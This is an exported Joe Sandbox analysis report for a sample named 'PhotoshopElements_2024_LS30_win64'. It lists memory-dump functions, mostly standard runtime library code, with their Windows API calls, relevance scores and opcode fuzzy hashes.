Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID:
API String ID: 910155933-0
Opcode ID: 6354150f582f36f167f4209af027d52f1e74aae61fb994249a8da41b3140e0c3
Instruction ID: c641f04ef73c6a00273834d4e4e200a35c282e27166637603b3893b708bc9dbd
Opcode Fuzzy Hash: 6354150f582f36f167f4209af027d52f1e74aae61fb994249a8da41b3140e0c3
Instruction Fuzzy Hash: 9F51DD75E0020AABEB119FE8C819BEEBFB9FF86310F140555F604AB291D734DA41DB61

Function 0053C1B1 Relevance: 4.5, APIs: 3, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000002,?,00000000,00000000,?,00000000,00000000,?,0053C25E,?,?,00000002,00000000), ref: 0053C1EA
GetLastError.KERNEL32(?,0053C25E,?,?,00000002,00000000,?,0053B188,?,00000000,00000000,00000002,?,?,?), ref: 0053C1F4
__dosmaperr.LIBCMT ref: 0053C1FB

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: da4ad7f9978ecf8d851527b14469328b6e03555760f6df4ef6cceec6fbd22151
Instruction ID: d45f9b89e2b8778c3d9408f41ce6ede33e1af3a02e67e66b2ed42a8c9bdf8dcd
Opcode Fuzzy Hash: da4ad7f9978ecf8d851527b14469328b6e03555760f6df4ef6cceec6fbd22151
Instruction Fuzzy Hash: DC01D436610525AFCB099F99EC098AE3F29FF86720F240609F811AB1D1EA70ED419B90

Function 0053EBAF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(0000FDE9,?,?,?,00000000), ref: 0053EBE1

Strings

, xrefs: 0053EC26

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 8394b2ee021e3648cb74d972097f0bbfc78c98b8a837574954af17a2161b7eef
Instruction ID: 45504a3321acb57acee90b872999264e8818070311f55d04c384b1e8a60e9fd3
Opcode Fuzzy Hash: 8394b2ee021e3648cb74d972097f0bbfc78c98b8a837574954af17a2161b7eef
Instruction Fuzzy Hash: F141287050429C9BDB218A68CD9ABFB7FFDBB45304F2418ADE58A87083D235AD45DB20

Function 0051307E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00000000,00000000,?,?,00500938,00000000,0069DBAC,00000018,00000000,00000018,?), ref: 005130DE

Strings

8P, xrefs: 005130C5

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: 8P
API String ID: 6842923-1871742855
Opcode ID: 47f9e6877d032098ca2c3104a7569322c57065d22971bcbe9053023fb26e3e9f
Instruction ID: 5a8b6a534a297f71d25dde9c3705d17a6703b51146409715525ec3a7279bceb2
Opcode Fuzzy Hash: 47f9e6877d032098ca2c3104a7569322c57065d22971bcbe9053023fb26e3e9f
Instruction Fuzzy Hash: C801DF39900208AFDB019F6CD884B9EBFF8FF48300F01409AE901AB3A0D771AE40CB90

Function 0053EF3E Relevance: 3.2, APIs: 2, Instructions: 166
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053EAD9: GetOEMCP.KERNEL32(00000000,0053ED4A,?,00000000,0053C9D9,0053C9D9,00000000,00000000,?), ref: 0053EB04

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,?,?,0053ED91,00000000,00000000,?,?,00000000,?,?,?,0053C9D9), ref: 0053EF9C
GetCPInfo.KERNEL32(00000000,0053ED91,?,?,0053ED91,00000000,00000000,?,?,00000000,?,?,?,0053C9D9,00000000,00000000), ref: 0053EFDE

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: be1bf1744c19df72fe5e9cf0fa2b1521126257acecde488012fca38d3aaa21ec
Instruction ID: b0b1a440e2a254eb330f4f114c0f0a8bbedc175b46fe235f384f4901a2123570
Opcode Fuzzy Hash: be1bf1744c19df72fe5e9cf0fa2b1521126257acecde488012fca38d3aaa21ec
Instruction Fuzzy Hash: C3512170E002459EDB259F79C88A6BABFE5FF81304F14447ED0878B292E7B59946CB90

Function 002E5F40 Relevance: 3.1, APIs: 2, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 002E5FF4
Concurrency::cancel_current_task.LIBCPMT ref: 002E5FF9

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: af9afdcc12758aa22874db6be7dcc15b2012d22626977cb78d2302ea993403a6
Instruction ID: 1ec8745075e4cfb003309054580fecd98795bbf81331c1027c72dcfa49a57585
Opcode Fuzzy Hash: af9afdcc12758aa22874db6be7dcc15b2012d22626977cb78d2302ea993403a6
Instruction Fuzzy Hash: 9841DF725107228FCB20DF15D881A5AB7E5FF85324F55852AE8688BB91E731F860CBA1

Function 0053ED2F Relevance: 3.1, APIs: 2, Instructions: 99
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053EAD9: GetOEMCP.KERNEL32(00000000,0053ED4A,?,00000000,0053C9D9,0053C9D9,00000000,00000000,?), ref: 0053EB04

_free.LIBCMT ref: 0053EDA7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5725add10e8a4eca8d8861dec0e5344cfdb912ef97206faec7f44ef3694869d0
Instruction ID: 9f1726160b123360c447ac73d0c4f7a5ed9af419e1aebf4d53c1ba6ed6c8c810
Opcode Fuzzy Hash: 5725add10e8a4eca8d8861dec0e5344cfdb912ef97206faec7f44ef3694869d0
Instruction Fuzzy Hash: 4E318F7290020AAFCB11DFA8D846ADA7BF5FF85310F15046AF8119B2A1EB71AE50CF50

Function 0053AD14 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,?,?,?,0053B227,00000000,?,00000000,00000000,?,?), ref: 0053ADB0
GetLastError.KERNEL32(?,0053B227,00000000,?,00000000,00000000,?,?,?), ref: 0053ADD6

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1ba287a7e37e20eefbf1bbc6274970e18c2d18bbdec53e57c51497e17d9e5203
Instruction ID: ebbb278ded6bff5cee8f418e93147179c085d173b11104d5f822b284689a796d
Opcode Fuzzy Hash: 1ba287a7e37e20eefbf1bbc6274970e18c2d18bbdec53e57c51497e17d9e5203
Instruction Fuzzy Hash: 8A21A374A002199BCF19CF29DC809E9BBBAFF49302F1445A9EA46D7211D730DD86CFA5

Function 0052E45B Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0069F330,0000000C), ref: 0052E46E
RtlExitUserThread.NTDLL(00000000), ref: 0052E475

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorExitLastThreadUser
String ID:
API String ID: 1750398979-0
Opcode ID: eee2b43fa5e2b50ba30df55046165929671712563a59f14a20b13f28fcdbfa80
Instruction ID: 60d55e14dc70df09563e2ed97e53b521b563885f9eb7c7f1fe73d393b2decd45
Opcode Fuzzy Hash: eee2b43fa5e2b50ba30df55046165929671712563a59f14a20b13f28fcdbfa80
Instruction Fuzzy Hash: 18F0A970A40206AFEF05BBB0E84FA6E3F74FF82710F10455AF4019B292DB746A01DBA0

Function 00538151 Relevance: 3.0, APIs: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringEx.KERNEL32(?,0053C389,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00538185
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,0053C389,?,?,00000000,?,00000000), ref: 005381A3

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 1aaf55022382905c92deba1df6a609dfbeb1588f515c4705f945c6271610533e
Instruction ID: 6c2c742743d474d7ccd0c36ea256858e20e9072eecf18ade856fb2d4050dd2db
Opcode Fuzzy Hash: 1aaf55022382905c92deba1df6a609dfbeb1588f515c4705f945c6271610533e
Instruction Fuzzy Hash: DEF0643640021ABBCF126F90DC0A9EE3F66BB487A0F098110FA1825120CA36C872EB94

Function 003FE880 Relevance: 1.7, APIs: 1, Instructions: 221COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003FEA1C

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: df92993cafc707e04f03a9d1b505a43721184504c7ffd3ea3968161e3b797750
Instruction ID: 57e4a98d7010b8321b8bdfc3cb33dbf297c2323e8cf73351bae69fa199b38cbc
Opcode Fuzzy Hash: df92993cafc707e04f03a9d1b505a43721184504c7ffd3ea3968161e3b797750
Instruction Fuzzy Hash: 7F615671E00119AFDB10DB68DC45ABFBBB9FF84350F154269E809E3251E774AE50CBA0

Function 0020B5B0 Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0020B5F7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 20bcb3d294b2db284197245d6ad16d1c5d4bbb17dbc0a10b18afb83c155069ae
Instruction ID: 254ac97b3a2ac10ca0808c38c33a6dd084fb76859107866c6bdc6252aedff1d0
Opcode Fuzzy Hash: 20bcb3d294b2db284197245d6ad16d1c5d4bbb17dbc0a10b18afb83c155069ae
Instruction Fuzzy Hash: 9F11573242470609D7365F789885AB9BF5D991233474C03F1D4A98B1E3D323ECA38694

Function 0053EE43 Relevance: 1.6, APIs: 1, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0053EEA0

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8b09d987d8035a72699aaeb8e1ac39346b862d7da2cfe593cc4230762f29966b
Instruction ID: 5a021a3c9bc39cb9c1a56812f8e40bfe6d7cdb992e709cd912f3cd94400c5760
Opcode Fuzzy Hash: 8b09d987d8035a72699aaeb8e1ac39346b862d7da2cfe593cc4230762f29966b
Instruction Fuzzy Hash: 0D210871D11626EFCB20AF58A84276ABFE9FB46B20F14460AF5206B2C1C7B06D41DFD1

Function 0020B550 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0020B5A0

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: da7da7d1bf34d726f51298f8ebd8f99da981de079ffe804aeeed110fd179d263
Instruction ID: fbbc6f29c2987765c331c715c1b0658208375e7a3cc45d7a28588f65e7c3a10e
Opcode Fuzzy Hash: da7da7d1bf34d726f51298f8ebd8f99da981de079ffe804aeeed110fd179d263
Instruction Fuzzy Hash: 85F027B252030A0AE724ABB0AC06A6E3A886E65360B840175F41AC65C3F721D9F4C118

Function 00538548 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000), ref: 00538589

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5f42a3f06e452ee24d87c43980bd43a22fdf228a4a0aea84b90d14b6a1d42f4c
Instruction ID: 4c02d1b1092ca7aa65b71e2b32a83f687daa5e378f12bf016a0defe3f89ead75
Opcode Fuzzy Hash: 5f42a3f06e452ee24d87c43980bd43a22fdf228a4a0aea84b90d14b6a1d42f4c
Instruction Fuzzy Hash: 0BF0E2326003257ADB2A5F629C0AB7A3F88BF85760F185112FC18DA090EE30ED108AE0

Function 00535DB3 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000018,00000018), ref: 00535DE5

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9cf981c19a50b0c14fb6ed1162f9ac3851b62b8c1f689a7cbe3a9b10722fb020
